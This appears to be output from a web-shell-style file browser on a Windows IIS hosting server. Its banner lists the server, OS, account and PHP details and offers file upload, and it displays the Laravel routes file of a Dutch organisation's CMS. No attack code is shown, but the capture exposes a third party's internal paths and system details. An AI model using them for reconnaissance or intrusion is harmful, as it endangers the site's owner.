HEX
Server: Microsoft-IIS/8.5
System: Windows NT YDAWBH120 6.3 build 9600 (Windows Server 2012 R2 Standard Edition) AMD64
User: tentjecom_web (0)
PHP: 7.4.14
Disabled: NONE
Upload Files
File: D:/HostingSpaces/SBogers10/franciscaansebeweging.komma.pro/workbench/komma/kms/src/routes.php
<?php

/**
 * KMS redirect
 */
Route::get('/KMS', function ()
{
    return Redirect::to('/kms', 301);
});


Route::group(['prefix' => 'kms'], function ()
{

    /**
     * Routes for logging in and out
     */
    Route::get('/login', 'Komma\Kms\Users\AuthController@login');
    Route::post('/login', 'Komma\Kms\Users\AuthController@processLogin');
    Route::get('/logout', 'Komma\Kms\Users\AuthController@logout');

    /**
     * Secure Kms Routes
     */
    Route::group(['before' => 'kmsAuth'], function ()
    {
        // Get documents
        Route::get('/file-list', 'Komma\Kms\Documents\DocumentController@getDocumentsForTinyMCE');

        //Upload
        Route::post('/upload', 'Komma\Kms\Images\ImageController@upload');


        // Dashboard
        Route::get('/', ['as' => 'kms.dashboard.index', 'uses' => 'Komma\Kms\Dashboard\DashboardController@index']);

        // Users
        Route::resource('users', 'Komma\Kms\Users\UserController');

        // Blocks
        Route::get('blocks/{type}', 'Komma\Kms\Blocks\BlockController@index');
        Route::post('blocks/{type}', 'Komma\Kms\Blocks\BlockController@store');
        Route::get('blocks/{type}/create', 'Komma\Kms\Blocks\BlockController@create');
        Route::get('blocks/{type}/{id}', 'Komma\Kms\Blocks\BlockController@edit');
        Route::put('blocks/{type}/{id}', 'Komma\Kms\Blocks\BlockController@update');
        Route::delete('blocks/{type}/{id}', 'Komma\Kms\Blocks\BlockController@destroy');

        //Custom routes for website configuration
        Route::get('/website-config',
            ['as'   => 'kms.website-config.create',
             'uses' => 'Komma\Kms\WebsiteConfig\WebsiteConfigController@create'
            ]
        );
        Route::post('/website-config/update',
            ['as'   => 'kms.website-config.store',
             'uses' => 'Komma\Kms\WebsiteConfig\WebsiteConfigController@store'
            ]);


        // Define extra pages
        $extraPages = [
            'pages'      => [
                'namespace'  => 'Pages',
                'controller' => 'PageController',
            ],
            'activities'   => [
                'namespace'  => 'Activities',
                'controller' => 'ActivityController',
            ],
            'travels'   => [
                'namespace'  => 'Travels',
                'controller' => 'TravelController',
            ],
            'categories' => [
                'namespace'  => 'Categories',
                'controller' => 'CategoryController',
            ],
            'posts'      => [
                'namespace'  => 'Posts',
                'controller' => 'PostController',
            ],
            'vacancies'      => [
                'namespace'  => 'Vacancies',
                'controller' => 'VacancyController',
            ],
            'retreats'      => [
                'namespace'  => 'Retreats',
                'controller' => 'RetreatController',
            ],

            'translations' => [
                'namespace'  => 'Translations',
                'controller' => 'TranslationController',
            ],

            'blocks' => [
                'namespace'  => 'Blocks',
                'controller' => 'BlockController',
            ],


            'documents' => [
                'namespace' => 'Documents',
                'controller' => 'DocumentController',
            ],

        ];

        // Build routes for extra pages
        foreach ($extraPages as $slug => $extraPage)
        {
            // Page
            Route::resource($slug, 'Komma\Kms\\' . $extraPage['namespace'] . '\\' . $extraPage['controller']);

            // Page through Ajax
            $apiGetRoute = 'Komma\Kms\\' . $extraPage['namespace'] . '\\' . $extraPage['controller'] . '@getStructureAsJson';
            $apiSetRoute = 'Komma\Kms\\' . $extraPage['namespace'] . '\\' . $extraPage['controller'] . '@setStructureAsJson';
            Route::get('/api/' . $slug, $apiGetRoute);
            Route::post('/api/' . $slug, $apiSetRoute);
        }
    });

    //Dynamic page templates
    Route::get('/api/template/two-column-block', 'Komma\Kms\Core\KmsController@twoColumnBlock');
    Route::get('/api/template/dynamic-page-content-block', 'Komma\Kms\Core\KmsController@dynamicPageContentBlock');
    Route::get('/api/template/dynamic-full-image-block', 'Komma\Kms\Core\KmsController@dynamicFullImageBlock');
    Route::get('/api/template/dynamic-multiple-images-block', 'Komma\Kms\Core\KmsController@dynamicMultipleImagesBlock');
    Route::get('/api/template/dynamic-full-text-block', 'Komma\Kms\Core\KmsController@dynamicFullTextBlock');
    Route::get('/api/template/dynamic-video-block', 'Komma\Kms\Core\KmsController@dynamicVideoBlock');
    Route::get('/api/template/dynamic-view', 'Komma\Kms\Core\KmsController@dynamicView');
});

/**
 * Commands
 */

Route::group(['prefix' => 'command'], function ()
{
    require 'commands.php';
});